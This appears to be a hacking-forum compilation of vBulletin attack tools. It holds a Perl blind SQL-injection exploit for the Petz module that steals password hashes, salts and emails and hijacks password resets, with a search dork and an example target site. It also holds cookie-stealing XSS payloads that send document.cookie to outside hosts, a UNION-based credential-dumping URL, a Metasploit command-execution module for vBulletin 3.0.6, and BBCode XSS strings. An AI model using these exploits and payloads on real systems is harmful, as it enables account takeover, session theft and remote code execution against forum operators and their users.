#!/usr/bin/perl 

# Vbulletin module Petz with sql-injection.
# coded by k1b0rg(768620)
#
# This exploit changing your buyer. 
# A new password consists of figures, the length of 8 and going to take a great brut of time(passwords pro);) 
# If you do not need to change the password, simply stop exploit at the time of the removal of the password. 
# Running exploit again sent two letters to the box. Be akkuratney. 
# In the first test of vulnerability when sql error, the box webmaster sent a letter of error. Be akkuratney.
# 
# dork: inurl:petz.php
#
# download module: http://dev.p3tz.com/
#
# Lamers go to жопа.
# exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1
#
# needly:
# mysql >=4
# magic_quotes off
# direct hands
#
# greets: antichat.ru mini-rinok.ru
#

use LWP::UserAgent;
use Getopt::Std;
use strict;
my %opts;

getopts("i:p:l:P:s:e:u:",\%opts);
  my $url=$opts{u};
  my $id=$opts{i} || 9107;
  my $prefix=$opts{P} || '';
  my $password1=$opts{p};
  my $salt1=$opts{s};
  my $length=$opts{l};
  my $email1=$opts{e};


if(!$url || !$id)
{
echo('-------------------------FUCK YOU SPILBERG!----------------------');
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
echo('exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1');
echo('-------------------------FUCK YOU SPILBERG!----------------------');
exit;
}




my $browser = LWP::UserAgent->new();
$browser->requests_redirectable([]);

echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
########check on vuln and getting prefix#######################################
echo('[\] Step 0: [Checking vuln]');
my $res=$browser->get($url.'petz.php?do=view&id=9995681\'');
if($res->content=~/Database error/i)
{
echo('[|] This script is vulnerable!!!!');
$res->content=~/LEFT JOIN (.*?)user/i;
echo('[/] Prefix is: ['.$1.']');
}
else
{
echo('[|] This script NOT vulnerable!!!!');
exit;
}




########password1#######################################
echo('[-] Step 1: [getting password(one) user by id ['.$id.']');
echo('[\] Password(1): [');
if(!$password1)
  {
   for(1..32)
    {
      my $pos=$_;
      for(48..57,97..103)
        {
          my $asc=$_;
          if($asc==103) {echo('EXPLOIT FAILED]',0); exit;}
          my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(password,'.$pos.',1))='.$asc.')/*');
          if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); last; }
        }
   }
  }
else
 {
  echo($password1,0);
 }
echo(']',0);

########salt1#######################################
echo('[|] Step 2: [getting salt(one) user by id ['.$id.']');
echo('[-] Salt(1): [');
my $salt;
if(!$salt1)
 {
   for(1..3)
    {
      my $pos=$_;
      for(33..126)
        {
         my $asc=$_;
         my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(salt,'.$pos.',1))='.$asc.')/*');
         if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $salt.=chr($asc); last; }
        }
   }
  }
else
  {
    $salt=$salt1;
    echo($salt,0);
  }
echo(']',0);


########Checking email length#######################################
echo('[\] Step 3: [Checking email length ['.$id.']');
echo('[|] Email length: [');
my $num;
if(!$email1)
  {
    if(!$length)
      {
        for(6..32)
          {
            $num=$_;
            my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(length(email)='.$num.')/*');
            if($res->content!~/Untrapped Error/is) {echo($num,0); last; }
          }
      }
    else
      {
        $num=$length;
        echo($num,0);
      }
  }
else
  {
    $num=length($email1);
    echo($num,0);
  }
echo(']',0);

########losting email#######################################
echo('[/] Step 4: [getting email user by id ['.$id.']');
echo('[-] Email: [');
my $email;
if(!$email1)
  {
    for(1..$num)
      {
        my $pos=$_;
        for(48..57,64,97..122)
          {
            my $asc=$_;
            my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(lower(substring(email,'.$pos.',1)))='.$asc.')/*');
            if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $email.=chr($asc); last; }
          }
      }
  }
else
  {
    $email=$email1;
    echo($email,0);
  }
echo(']',0);

########lost_password#######################################
echo('[\] Step 5: [Losting password]');
$browser->post($url.'login.php',
              [
              email=>$email,
              do=>'emailpassword'
              ]);

########losting activationid#######################################
echo('[|] Step 7: [getting activationid user by id ['.$id.']');
echo('[/] activationid: [');
my $valid;
for(1..8)
  {
    my $pos=$_;
    for(48..57)
      {
        my $asc=$_;
        my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'useractivation+WHERE+userid=\''.$id.'\'+and(ascii(substring(activationid,'.$pos.',1))='.$asc.')/*');
        if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $valid.=chr($asc); last; }
      }
  }
echo(']',0);


########lost_password#######################################
echo('[-] Step 8: [Losting password]');
$browser->get($url.'login.php?a=pwd&u='.$id.'&i='.$valid);


########password2#######################################
echo('[\] Step 9: [getting password(two) user by id ['.$id.']');
echo('[|] Password(2): [');
my $newhash;
for(1..32)
  {
    my $pos=$_;
    for(48..57,97..102)
      {
        my $asc=$_;
        my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(password,'.$pos.',1))='.$asc.')/*');
        if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $newhash.=chr($asc); last; }
      }
  }
echo(']',0);


echo('News hash && salt: ['.$newhash.':'.$salt.']');


sub echo{
  my $text=shift;
  my $param=shift;
  my $razdel=($param eq 0)?'':"\n";
  syswrite STDOUT,$razdel.$text;
}

<script>alert()</script>

TITLE:--------->Test<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
        BODY:---------->No matter
        OTHER OPTIONS:->No matter

http://123.com/portal.php?id=54&a=viewfeature&featureid=99999/**/UNION/**/SELECT/**/0,1,2,3,4,username,6,7,8,9,10,11,12,password/**/from/**/user/**/where/**/userid=1/*

##
#        Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
#    Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
#         Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
        'Name'     => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
        'Version'  => '$Revision: 1.0 $',
        'Authors'  => [ 'str0ke' ],
        'Arch'     => [ ],
        'OS'       => [ ],
        'Priv'     => 0,
        'UserOpts' =>
          {
                'RHOST' => [1, 'ADDR', 'The target address'],
                'RPORT' => [1, 'PORT', 'The target port', 80],
                'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
                'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
                'SSL'   => [0, 'BOOL', 'Use SSL'],
          },

        'Description' => Pex::Text::Freeform(qq{
                This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),

        'Refs' =>
          [
                ['MIL', '832'],
          ],

        'Payload' =>
          {
                'Space' => 512,
                'Keys'  => ['cmd', 'cmd_bash'],
          },

        'Keys' => ['vBulletin'],
  };

sub new {
        my $class = shift;
        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
        return($self);
}

sub Exploit {
        my $self = shift;
        my $target_host    = $self->GetVar('RHOST');
        my $target_port    = $self->GetVar('RPORT');
        my $vhost          = $self->GetVar('VHOST') || $target_host;
        my $path           = $self->GetVar('RPATH');
        my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;

        # Encode the command as a set of chr() function calls
        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

        # Create the get request data
        my $data = "?do=page&template={\${passthru($byte)}}";

        my $req =
                "GET $path$data HTTP/1.1\r\n".
                "Host: $vhost:$target_port\r\n".
                "Content-Type: application/html\r\n".
                "Content-Length: ". length($data)."\r\n".
                "Connection: Close\r\n".
                "\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr'  => $target_host,
                'PeerPort'  => $target_port,
                'LocalPort' => $self->GetVar('CPORT'),
                'SSL'       => $self->GetVar('SSL'),
          );

        if ($s->IsError){
                $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
                return;
        }

        $self->PrintLine("[*] Sending the malicious vBulletin Get request...");

        $s->Send($req);

        my $results = $s->Recv(-1, 20);
        $s->Close();

        return;
}

1;

Забанен за флуд <script>img = new Image(); img.src = "http://somesite.#ru/vash sniffer.jpg?"+document.cookie;</script>

Мой титул <script>img = new Image(); img.src = "http://somesite.#ru/vash sniffer.jpg?"+document.cookie;</script>

[google*video][U*RL=/onmouseover=alert(1);a="]213[/U*RL][/google*video]123
[google][U*RL=/onmouseover=alert(1);a="]213[/U*RL][/google]123